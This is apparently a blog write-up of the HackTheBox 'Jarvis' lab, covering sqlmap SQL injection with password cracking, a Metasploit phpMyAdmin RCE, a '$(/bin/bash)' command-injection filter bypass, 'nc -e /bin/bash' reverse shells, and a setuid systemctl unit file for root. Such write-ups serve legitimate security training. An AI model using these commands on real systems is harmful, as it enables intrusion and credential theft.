HackTheBox – Jarvis

The initial nmap scan only showed a few open ports:

# nmap -T4 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-23 08:58 EDT
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65531 closed ports
22/tcp    open     ssh
80/tcp    open     http
64999/tcp open     unknown

The high port only showed a single line of text when accessed via HTTP and I couldn’t figure anymore on it out. It always just displayed that we are banned.

Running gobuster against port 80 revealed the following folders:

/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/phpmyadmin (Status: 301)
/sass (Status: 301)
/server-status (Status: 403)

Of course /phpmyadmin is interesting. The version also has known vulnerabilities but all of them require us to authenticate first.

Browsing the site it looks mostly like a static website without many inputs. Only one page takes a parameter, the /room.php URL:

Simply running sqlmap with the “–passwords” option against this will give us valid MySQL credentials. The brute-force of the hash with all default settings takes only a minute:

# sqlmap -u ""
[14:51:52] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
# sqlmap -u "" --passwords

[*] starting @ 14:52:29 /2019-07-10/

[14:52:29] [INFO] resuming back-end DBMS 'mysql' 
[14:52:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 5517=5517

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-7469 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6b71,0x6c5765576143544d636a4a4257796d65536251776d72787965634362434d7257434c555865554170,0x7171706271),NULL,NULL,NULL,NULL-- WuKC
[14:52:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[14:52:30] [INFO] fetching database users password hashes
[14:52:30] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[14:52:35] [INFO] writing hashes to a temporary file '/tmp/sqlmapB85vZg3804/sqlmaphashes-DOQup7.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[14:52:37] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:52:38] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[14:52:41] [INFO] starting dictionary-based cracking (mysql_passwd)
[14:52:41] [INFO] starting 2 processes 
[14:52:47] [INFO] cracked password 'imissyou' for user 'DBadmin'                                                                                             
database management system users password hashes:                                                                                                            
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
    clear-text password: imissyou

With that we can now login to phpMyAdmin. But we don’t really need to do that. We already know that in that version of phpMyAdmin there is a remote code execution vulnerability (CVE-2018-12613) for which also a metasploit module exists. We use that module like this now that we have credentials:

msf5 exploit(multi/http/phpmyadmin_lfi_rce) > show options

Module options (exploit/multi/http/phpmyadmin_lfi_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   imissyou         no        Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /phpmyadmin/     yes       Base phpMyAdmin directory path
   USERNAME   DBadmin          yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Linux

msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run

[*] Started reverse TCP handler on 
[*] Command shell session 1 opened ( -> at 2019-07-10 13:47:58 -0400

uid=33(www-data) gid=33(www-data) groups=33(www-data)

With that limited shell we can look around the system for a bit. There only exists one normal user on the system (“pepper”), so we try to escalate to that. Checking for sudo rights this is returned:

$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

So we can run “/var/www/Admin-Utilities/simpler.py” as the user “pepper”. Reading the code there is an interesting “ping” function in that program (highly shortened):

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
    os.system('ping ' + command)

if __name__ == '__main__':
    elif sys.argv[1] == '-p':

We can use the “-p” option of this script. Then we need to evade a blacklist of a few characters and part of our input ends up in a os.system() call. Since neither “$”, “(” nor “)” are blacklisted this is rather easy. We start already a netcat listener on port 6666 and then run:

$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 

Enter an IP: $(/bin/bash)
pepper@jarvis:/usr/share/phpmyadmin$ nc -e /bin/bash 6666

When it asks for the IP Address we enter “$(/bin/bash)”, this circumvents the filters and starts a new shell as the user “pepper”. But it’s not a full shell, we don’t get any output back from it. I’m sure this can be fixed but instead we just paste “nc -e /bin/bash 6666” into that shell which connects back to our listener:

# nc -nlvp 6666
listening on [any] 6666 ...
connect to [] from (UNKNOWN) [] 48748
$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)

$ cat user.txt

With that we got the user flag. Trying to escalate to root we search for uncommon setuid binaries and we find that “/bin/systemctl” has strange permissions:

$ ls -l /bin/systemctl
-rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl

With the help of GTFObins we can now escalate to root. We again already start a new netcat listener on port 7777, then:

$ mkdir -p ~/.config/systemd/user
$ cd ~/.config/systemd/user
$ echo '[Service]
ExecStart=/bin/sh -c "nc -e /bin/bash 7777"
WantedBy=multi-user.target' > test.service
$ /bin/systemctl link /home/pepper/.config/systemd/user/test.service
<link /home/pepper/.config/systemd/user/test.service
Created symlink /etc/systemd/system/test.service -> /home/pepper/.config/systemd/user/test.service.
$ /bin/systemctl enable --now /home/pepper/.config/systemd/user/test.service
<-now /home/pepper/.config/systemd/user/test.service
Created symlink /etc/systemd/system/multi-user.target.wants/test.service -> /home/pepper/.config/systemd/user/test.service.

With that we create a new unit file in the users home folder under “~/.config/systemd/user”, we then link and enable it. With that we get a connection back to our listener:

# nc -nlvp 7777
listening on [any] 7777 ...
connect to [] from (UNKNOWN) [] 50372
uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt

And with that we finally got the root flag.

Leave a Reply

Your email address will not be published. Required fields are marked *